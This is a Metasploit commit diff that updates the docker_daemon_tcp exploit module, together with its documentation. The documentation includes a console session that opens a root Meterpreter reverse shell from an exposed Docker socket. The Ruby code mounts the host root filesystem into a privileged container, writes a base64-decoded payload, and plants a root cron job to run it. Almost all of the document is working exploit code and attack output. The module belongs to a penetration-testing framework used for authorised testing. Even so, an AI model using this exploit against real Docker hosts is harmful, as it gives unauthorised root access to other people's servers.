Land #9050, @mpizala's improvements to the docker_daemon_tcp module

MS-2855/keylogger-mettle-extension
Jon Hart 2017-11-21 17:13:24 -08:00
commit 879db5cf38
No known key found for this signature in database
GPG Key ID: 2FA9F0A3AFA8E9D3
2 changed files with 53 additions and 33 deletions

View File

@ -67,6 +67,8 @@ OK
[Disable][5] or [protect][6] the Docker tcp socket. [Disable][5] or [protect][6] the Docker tcp socket.
[User namespaces][7] did **not** protect against this.
# Exploitation # Exploitation
This module is designed for the attacker to leverage, creation of a This module is designed for the attacker to leverage, creation of a
Docker container with out authentication through the Docker tcp socket Docker container with out authentication through the Docker tcp socket
@ -88,8 +90,8 @@ to gain root access to the hosting server of the Docker container.
msf > use exploit/linux/http/docker_daemon_tcp msf > use exploit/linux/http/docker_daemon_tcp
msf exploit(docker_daemon_tcp) > set RHOST 192.168.66.23 msf exploit(docker_daemon_tcp) > set RHOST 192.168.66.23
RHOST => 192.168.66.23 RHOST => 192.168.66.23
msf exploit(docker_daemon_tcp) > set PAYLOAD python/meterpreter/reverse_tcp msf exploit(docker_daemon_tcp) > set PAYLOAD linux/x64/meterpreter/reverse_tcp
PAYLOAD => python/meterpreter/reverse_tcp PAYLOAD => linux/x64/meterpreter/reverse_tcp
msf exploit(docker_daemon_tcp) > set LHOST 192.168.66.10 msf exploit(docker_daemon_tcp) > set LHOST 192.168.66.10
LHOST => 192.168.66.10 LHOST => 192.168.66.10
msf exploit(docker_daemon_tcp) > set VERBOSE true msf exploit(docker_daemon_tcp) > set VERBOSE true
@ -108,18 +110,17 @@ msf exploit(docker_daemon_tcp) > run
[*] Waiting for the cron job to run, can take up to 60 seconds [*] Waiting for the cron job to run, can take up to 60 seconds
[*] Waiting until the docker container stopped [*] Waiting until the docker container stopped
[*] The docker container has been stopped, now trying to remove it [*] The docker container has been stopped, now trying to remove it
[*] Sending stage (40411 bytes) to 192.168.66.23 [*] Sending stage (2878936 bytes) to 192.168.66.23
[*] Meterpreter session 1 opened (192.168.66.10:4444 -> 192.168.66.23:35050) at 2017-07-25 14:03:02 +0200 [*] Meterpreter session 1 opened (192.168.66.10:4444 -> 192.168.66.23:35050) at 2017-07-25 14:03:02 +0200
[+] Deleted /etc/cron.d/lVoepNpy [+] Deleted /etc/cron.d/lVoepNpy
[+] Deleted /tmp/poasDIuZ [+] Deleted /tmp/poasDIuZ
meterpreter > sysinfo meterpreter > sysinfo
Computer : debian Computer : rancher
OS : Linux 4.9.0-3-amd64 #1 SMP Debian 4.9.30-2+deb9u2 (2017-06-26) OS : Debian 9.1 (Linux 4.9.0-3-amd64)
Architecture : x64 Architecture : x64
System Language : en_US Meterpreter : x64/linux
Meterpreter : python/linux
meterpreter > meterpreter >
``` ```
@ -129,3 +130,4 @@ meterpreter >
[4]:https://docs.docker.com/engine/admin/systemd/ [4]:https://docs.docker.com/engine/admin/systemd/
[5]:https://docs.docker.com/engine/reference/commandline/dockerd/#options [5]:https://docs.docker.com/engine/reference/commandline/dockerd/#options
[6]:https://docs.docker.com/engine/security/https/ [6]:https://docs.docker.com/engine/security/https/
[7]:https://docs.docker.com/engine/security/userns-remap/#disable-namespace-remapping-for-a-container

View File

@ -33,9 +33,13 @@ class MetasploitModule < Msf::Exploit::Remote
], ],
'DisclosureDate' => 'Jul 25, 2017', 'DisclosureDate' => 'Jul 25, 2017',
'Targets' => [ 'Targets' => [
[ 'Linux x64', {
'Arch' => ARCH_X64,
'Platform' => 'linux'
}],
[ 'Python', { [ 'Python', {
'Platform' => 'python',
'Arch' => ARCH_PYTHON, 'Arch' => ARCH_PYTHON,
'Platform' => 'python',
'Payload' => { 'Payload' => {
'Compat' => { 'Compat' => {
'ConnectionType' => 'reverse noconn none tunnel' 'ConnectionType' => 'reverse noconn none tunnel'
@ -43,13 +47,14 @@ class MetasploitModule < Msf::Exploit::Remote
} }
}] }]
], ],
'DefaultOptions' => { 'WfsDelay' => 180, 'Payload' => 'python/meterpreter/reverse_tcp' }, 'Payload' => { 'Space' => 65000, 'DisableNops' => true },
'DefaultOptions' => { 'WfsDelay' => 180 },
'DefaultTarget' => 0)) 'DefaultTarget' => 0))
register_options( register_options(
[ [
Opt::RPORT(2375), Opt::RPORT(2375),
OptString.new('DOCKERIMAGE', [ true, 'hub.docker.com image to use', 'python:3-slim' ]), OptString.new('DOCKERIMAGE', [ true, 'hub.docker.com image to use', 'alpine:latest' ]),
OptString.new('CONTAINER_ID', [ false, 'container id you would like']) OptString.new('CONTAINER_ID', [ false, 'container id you would like'])
] ]
) )
@ -57,22 +62,24 @@ class MetasploitModule < Msf::Exploit::Remote
def check_image(image_id) def check_image(image_id)
vprint_status("Check if images exist on the target host") vprint_status("Check if images exist on the target host")
res = send_request_raw( res = send_request_cgi(
'method' => 'GET', 'method' => 'GET',
'uri' => normalize_uri('images', 'json') 'uri' => normalize_uri('images', 'json'),
'ctype' => 'application/json'
) )
return unless res and res.code == 200 and res.body.include? image_id return unless res && res.code == 200 && res.body.include?(image_id)
res res
end end
def pull_image(image_id) def pull_image(image_id)
print_status("Trying to pulling image from docker registry, this may take a while") print_status("Trying to pulling image from docker registry, this may take a while")
res = send_request_raw( res = send_request_cgi(
'method' => 'POST', 'method' => 'POST',
'uri' => normalize_uri('images', 'create?fromImage=' + image_id) 'uri' => normalize_uri('images', 'create?fromImage=' + image_id),
'ctype' => 'application/json'
) )
return unless res.code == 200 return unless res && res.code == 200
res res
end end
@ -88,12 +95,17 @@ class MetasploitModule < Msf::Exploit::Remote
echo_cron_path = mnt_path + cron_path echo_cron_path = mnt_path + cron_path
echo_payload_path = mnt_path + payload_path echo_payload_path = mnt_path + payload_path
cron_command = "python #{payload_path}" case target
payload_data = payload.raw when targets[0] # linux
command = "echo #{Rex::Text.encode_base64(payload.encoded_exe)} | base64 -d > #{echo_payload_path} \&\& chmod +x #{echo_payload_path} \&\& "
cron_command = payload_path
when targets[1] # python
command = "echo \"#{payload.raw}\" >> #{echo_payload_path} \&\& "
cron_command = "python #{payload_path}"
end
command = "echo \"#{payload_data}\" >> #{echo_payload_path} && " command << "echo \"PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin\" >> #{echo_cron_path} \&\& "
command << "echo \"PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin\" >> #{echo_cron_path} && " command << "echo \"\" >> #{echo_cron_path} \&\& "
command << "echo \"\" >> #{echo_cron_path} && "
command << "echo \"* * * * * root #{cron_command}\" >> #{echo_cron_path}" command << "echo \"* * * * * root #{cron_command}\" >> #{echo_cron_path}"
command command
@ -108,25 +120,29 @@ class MetasploitModule < Msf::Exploit::Remote
'HostConfig' => { 'HostConfig' => {
'Binds' => [ 'Binds' => [
'/:' + mnt_path '/:' + mnt_path
] ],
'Privileged' => true,
'UsernsMode' => 'host'
} }
} }
end end
def del_container(container_id) def del_container(container_id)
send_request_raw( send_request_cgi(
{ {
'method' => 'DELETE', 'method' => 'DELETE',
'uri' => normalize_uri('containers', container_id) 'uri' => normalize_uri('containers', container_id),
'ctype' => 'application/json'
}, },
1 # timeout 1 # timeout
) )
end end
def check def check
res = send_request_raw( res = send_request_cgi(
'method' => 'GET', 'method' => 'GET',
'uri' => normalize_uri('containers', 'json'), 'uri' => normalize_uri('containers', 'json'),
'ctype' => 'application/json',
'headers' => { 'Accept' => 'application/json' } 'headers' => { 'Accept' => 'application/json' }
) )
@ -135,7 +151,7 @@ class MetasploitModule < Msf::Exploit::Remote
return Exploit::CheckCode::Unknown return Exploit::CheckCode::Unknown
end end
if res and res.code == 200 and res.headers['Server'].include? 'Docker' if res && res.code == 200 && res.headers['Server'].include?('Docker')
return Exploit::CheckCode::Vulnerable return Exploit::CheckCode::Vulnerable
end end
@ -161,10 +177,10 @@ class MetasploitModule < Msf::Exploit::Remote
container_id = make_container_id container_id = make_container_id
# create container # create container
res_create = send_request_raw( res_create = send_request_cgi(
'method' => 'POST', 'method' => 'POST',
'uri' => normalize_uri('containers', 'create?name=' + container_id), 'uri' => normalize_uri('containers', 'create?name=' + container_id),
'headers' => { 'Content-Type' => 'application/json' }, 'ctype' => 'application/json',
'data' => make_container(mnt_path, cron_path, payload_path).to_json 'data' => make_container(mnt_path, cron_path, payload_path).to_json
) )
fail_with(Failure::Unknown, 'Failed to create the docker container') unless res_create && res_create.code == 201 fail_with(Failure::Unknown, 'Failed to create the docker container') unless res_create && res_create.code == 201
@ -173,25 +189,27 @@ class MetasploitModule < Msf::Exploit::Remote
register_files_for_cleanup(cron_path, payload_path) register_files_for_cleanup(cron_path, payload_path)
# start container # start container
send_request_raw( send_request_cgi(
{ {
'method' => 'POST', 'method' => 'POST',
'uri' => normalize_uri('containers', container_id, 'start') 'uri' => normalize_uri('containers', container_id, 'start'),
'ctype' => 'application/json'
}, },
1 # timeout 1 # timeout
) )
# wait until container stopped # wait until container stopped
vprint_status("Waiting until the docker container stopped") vprint_status("Waiting until the docker container stopped")
res_wait = send_request_raw( res_wait = send_request_cgi(
'method' => 'POST', 'method' => 'POST',
'uri' => normalize_uri('containers', container_id, 'wait'), 'uri' => normalize_uri('containers', container_id, 'wait'),
'ctype' => 'application/json',
'headers' => { 'Accept' => 'application/json' } 'headers' => { 'Accept' => 'application/json' }
) )
# delete container # delete container
deleted_container = false deleted_container = false
if res_wait.code == 200 if res_wait && res_wait.code == 200
vprint_status("The docker container has been stopped, now trying to remove it") vprint_status("The docker container has been stopped, now trying to remove it")
del_container(container_id) del_container(container_id)
deleted_container = true deleted_container = true